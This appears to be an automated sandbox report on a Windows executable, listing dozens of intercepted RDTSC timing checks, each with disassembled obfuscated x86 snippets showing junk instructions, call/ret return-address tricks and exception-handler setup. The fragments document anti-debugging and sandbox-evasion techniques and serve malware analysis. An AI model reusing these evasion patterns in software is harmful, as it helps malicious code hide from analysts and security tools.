Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8C31E second address: A8C393 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 movsx edi, ax 0x0000000b push 00000000h 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007FDA10EF1898h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 00000019h 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 movsx edi, di 0x0000002a push esi 0x0000002b clc 0x0000002c pop esi 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push edi 0x00000032 call 00007FDA10EF1898h 0x00000037 pop edi 0x00000038 mov dword ptr [esp+04h], edi 0x0000003c add dword ptr [esp+04h], 00000015h 0x00000044 inc edi 0x00000045 push edi 0x00000046 ret 0x00000047 pop edi 0x00000048 ret 0x00000049 mov edi, 07E95379h 0x0000004e add edi, dword ptr [ebp+122D32BEh] 0x00000054 push eax 0x00000055 pushad 0x00000056 push ecx 0x00000057 jmp 00007FDA10EF189Fh 0x0000005c pop ecx 0x0000005d push eax 0x0000005e push edx 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8C393 second address: A8C397 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8CE7C second address: A8CE82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8E834 second address: A8E861 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA10746813h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FDA10746814h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8E861 second address: A8E867 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8E867 second address: A8E871 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FDA10746806h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8EF57 second address: A8EF61 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDA10EF1896h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8EF61 second address: A8EF68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F91F second address: A8F929 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FDA10EF1896h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F71A second address: A8F71E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F929 second address: A8F995 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA10EF18A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a cmc 0x0000000b push 00000000h 0x0000000d je 00007FDA10EF1896h 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push edx 0x00000018 call 00007FDA10EF1898h 0x0000001d pop edx 0x0000001e mov dword ptr [esp+04h], edx 0x00000022 add dword ptr [esp+04h], 00000014h 0x0000002a inc edx 0x0000002b push edx 0x0000002c ret 0x0000002d pop edx 0x0000002e ret 0x0000002f mov dword ptr [ebp+122D30DFh], ecx 0x00000035 xchg eax, ebx 0x00000036 jmp 00007FDA10EF189Bh 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f jmp 00007FDA10EF18A3h 0x00000044 push esi 0x00000045 pop esi 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F71E second address: A8F724 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9041C second address: A90420 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9011B second address: A9011F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A90420 second address: A90424 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A90DB9 second address: A90DBF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A49DC9 second address: A49DD5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A49DD5 second address: A49DDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A915FC second address: A91602 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A49DDB second address: A49DDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A91602 second address: A91606 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A964C8 second address: A964EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 nop 0x00000008 mov edi, 63B8A332h 0x0000000d push 00000000h 0x0000000f sub dword ptr [ebp+12455EECh], ebx 0x00000015 push 00000000h 0x00000017 mov dword ptr [ebp+122DB9EAh], ebx 0x0000001d xchg eax, esi 0x0000001e push edi 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A956F4 second address: A956F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A964EA second address: A96504 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edi 0x00000008 push eax 0x00000009 pushad 0x0000000a jl 00007FDA1074680Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A96504 second address: A96508 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A96616 second address: A9661B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9661B second address: A966B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FDA10EF1896h 0x00000009 jc 00007FDA10EF1896h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 nop 0x00000013 mov bx, cx 0x00000016 push dword ptr fs:[00000000h] 0x0000001d xor dword ptr [ebp+1244E0ACh], ecx 0x00000023 mov dword ptr fs:[00000000h], esp 0x0000002a push 00000000h 0x0000002c push esi 0x0000002d call 00007FDA10EF1898h 0x00000032 pop esi 0x00000033 mov dword ptr [esp+04h], esi 0x00000037 add dword ptr [esp+04h], 00000018h 0x0000003f inc esi 0x00000040 push esi 0x00000041 ret 0x00000042 pop esi 0x00000043 ret 0x00000044 jmp 00007FDA10EF18A9h 0x00000049 mov eax, dword ptr [ebp+122D0F5Dh] 0x0000004f or dword ptr [ebp+122D1FFBh], esi 0x00000055 and bx, 49ABh 0x0000005a push FFFFFFFFh 0x0000005c push 00000000h 0x0000005e push eax 0x0000005f call 00007FDA10EF1898h 0x00000064 pop eax 0x00000065 mov dword ptr [esp+04h], eax 0x00000069 add dword ptr [esp+04h], 00000015h 0x00000071 inc eax 0x00000072 push eax 0x00000073 ret 0x00000074 pop eax 0x00000075 ret 0x00000076 push eax 0x00000077 push eax 0x00000078 push edx 0x00000079 push eax 0x0000007a push edx 0x0000007b push ebx 0x0000007c pop ebx 0x0000007d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A966B5 second address: A966BF instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDA10746806h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A994B8 second address: A994BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9B1F4 second address: A9B21D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FDA10746806h 0x0000000a popad 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e jmp 00007FDA10746814h 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 pushad 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A994BE second address: A99544 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007FDA10EF1898h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 or dword ptr [ebp+1247158Eh], ebx 0x0000002b push dword ptr fs:[00000000h] 0x00000032 push 00000000h 0x00000034 push ebx 0x00000035 call 00007FDA10EF1898h 0x0000003a pop ebx 0x0000003b mov dword ptr [esp+04h], ebx 0x0000003f add dword ptr [esp+04h], 0000001Ch 0x00000047 inc ebx 0x00000048 push ebx 0x00000049 ret 0x0000004a pop ebx 0x0000004b ret 0x0000004c mov dword ptr [ebp+1244FEEEh], eax 0x00000052 mov dword ptr fs:[00000000h], esp 0x00000059 add bx, 4704h 0x0000005e mov eax, dword ptr [ebp+122D16A9h] 0x00000064 mov dword ptr [ebp+124712CCh], esi 0x0000006a push FFFFFFFFh 0x0000006c mov edi, edx 0x0000006e nop 0x0000006f push edi 0x00000070 push eax 0x00000071 push edx 0x00000072 jnl 00007FDA10EF1896h 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9CF0D second address: A9CF17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FDA10746806h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9CF17 second address: A9CF1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9E0E7 second address: A9E14F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FDA1074680Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007FDA10746808h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push ecx 0x0000002a call 00007FDA10746808h 0x0000002f pop ecx 0x00000030 mov dword ptr [esp+04h], ecx 0x00000034 add dword ptr [esp+04h], 00000018h 0x0000003c inc ecx 0x0000003d push ecx 0x0000003e ret 0x0000003f pop ecx 0x00000040 ret 0x00000041 xor dword ptr [ebp+1244FC82h], edi 0x00000047 push 00000000h 0x00000049 movzx edi, dx 0x0000004c xchg eax, esi 0x0000004d push eax 0x0000004e push ebx 0x0000004f pushad 0x00000050 popad 0x00000051 pop ebx 0x00000052 pop eax 0x00000053 push eax 0x00000054 pushad 0x00000055 pushad 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9E14F second address: A9E168 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FDA10EF18A0h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9F17F second address: A9F185 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9F185 second address: A9F1F3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push edi 0x0000000c call 00007FDA10EF1898h 0x00000011 pop edi 0x00000012 mov dword ptr [esp+04h], edi 0x00000016 add dword ptr [esp+04h], 00000018h 0x0000001e inc edi 0x0000001f push edi 0x00000020 ret 0x00000021 pop edi 0x00000022 ret 0x00000023 jnc 00007FDA10EF189Ch 0x00000029 push 00000000h 0x0000002b jl 00007FDA10EF1897h 0x00000031 stc 0x00000032 push 00000000h 0x00000034 or ebx, dword ptr [ebp+122D3893h] 0x0000003a xchg eax, esi 0x0000003b push ebx 0x0000003c jmp 00007FDA10EF189Ch 0x00000041 pop ebx 0x00000042 push eax 0x00000043 push eax 0x00000044 push edx 0x00000045 jng 00007FDA10EF18A6h 0x0000004b jmp 00007FDA10EF18A0h 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA1091 second address: AA10C8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007FDA1074680Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jne 00007FDA10746806h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 jmp 00007FDA10746813h 0x00000019 popad 0x0000001a jo 00007FDA1074680Eh 0x00000020 push eax 0x00000021 pop eax 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA10C8 second address: AA10CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA16AA second address: AA1724 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007FDA10746808h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 00000016h 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 xor ebx, 62800773h 0x00000029 push 00000000h 0x0000002b mov edi, dword ptr [ebp+122D3ACBh] 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push edx 0x00000036 call 00007FDA10746808h 0x0000003b pop edx 0x0000003c mov dword ptr [esp+04h], edx 0x00000040 add dword ptr [esp+04h], 00000019h 0x00000048 inc edx 0x00000049 push edx 0x0000004a ret 0x0000004b pop edx 0x0000004c ret 0x0000004d mov dword ptr [ebp+122D3518h], ecx 0x00000053 xchg eax, esi 0x00000054 jmp 00007FDA10746810h 0x00000059 push eax 0x0000005a push ecx 0x0000005b pushad 0x0000005c jg 00007FDA10746806h 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA4E1F second address: AA4E24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA4E24 second address: AA4E46 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA10746818h 0x00000007 push eax 0x00000008 push edx 0x00000009 jns 00007FDA10746806h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA4E46 second address: AA4E4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA6412 second address: AA6420 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jnl 00007FDA10746806h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4B8B2 second address: A4B8BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4B8BD second address: A4B8C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9F3E3 second address: A9F3E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA6C78 second address: AA6C99 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA10746819h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA6C99 second address: AA6C9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA8961 second address: AA8966 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA6C9D second address: AA6D0A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebx 0x0000000b call 00007FDA10EF1898h 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], ebx 0x00000015 add dword ptr [esp+04h], 0000001Ah 0x0000001d inc ebx 0x0000001e push ebx 0x0000001f ret 0x00000020 pop ebx 0x00000021 ret 0x00000022 push dword ptr fs:[00000000h] 0x00000029 mov bl, A8h 0x0000002b mov dword ptr fs:[00000000h], esp 0x00000032 jno 00007FDA10EF189Eh 0x00000038 mov eax, dword ptr [ebp+122D01C9h] 0x0000003e sub ebx, 5FB29FF9h 0x00000044 push FFFFFFFFh 0x00000046 cmc 0x00000047 push eax 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007FDA10EF18A3h 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA9941 second address: AA9950 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007FDA10746806h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA9C10 second address: AA9C43 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FDA10EF189Dh 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jo 00007FDA10EF18B4h 0x00000012 pushad 0x00000013 jmp 00007FDA10EF18A6h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2656 second address: AB2671 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDA10746816h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2671 second address: AB2684 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA10EF189Eh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB21C8 second address: AB21E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FDA10746816h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB21E6 second address: AB21EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB21EF second address: AB21F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB5AA5 second address: AB5AC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pushad 0x00000006 jmp 00007FDA10EF18A5h 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007FDA10EF1896h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB5AC8 second address: AB5AD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push esi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB5DDA second address: AB5DE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007FDA10EF1896h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB5DE7 second address: AB5E2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jns 00007FDA10746822h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push ebx 0x00000013 jmp 00007FDA1074680Ch 0x00000018 pop ebx 0x00000019 mov eax, dword ptr [eax] 0x0000001b push eax 0x0000001c push edx 0x0000001d jnp 00007FDA1074680Ch 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB5E2F second address: AB5E33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB5E33 second address: AB5E4B instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDA1074680Ch 0x00000008 jc 00007FDA10746806h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push ecx 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB5E4B second address: AB5E51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABA351 second address: ABA357 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABA357 second address: ABA35D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABE6AE second address: ABE6CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA10746819h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABE823 second address: ABE870 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA10EF18A7h 0x00000007 jmp 00007FDA10EF18A8h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007FDA10EF18A5h 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABE870 second address: ABE8A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FDA10746806h 0x0000000a jmp 00007FDA10746814h 0x0000000f popad 0x00000010 jbe 00007FDA1074680Eh 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABE8A4 second address: ABE8B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA10EF18A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABE8B9 second address: ABE8C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007FDA10746806h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABE8C4 second address: ABE8D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jne 00007FDA10EF1896h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABE9D6 second address: ABE9E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FDA10746806h 0x0000000a jo 00007FDA10746806h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABEB3A second address: ABEB46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABEB46 second address: ABEB4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
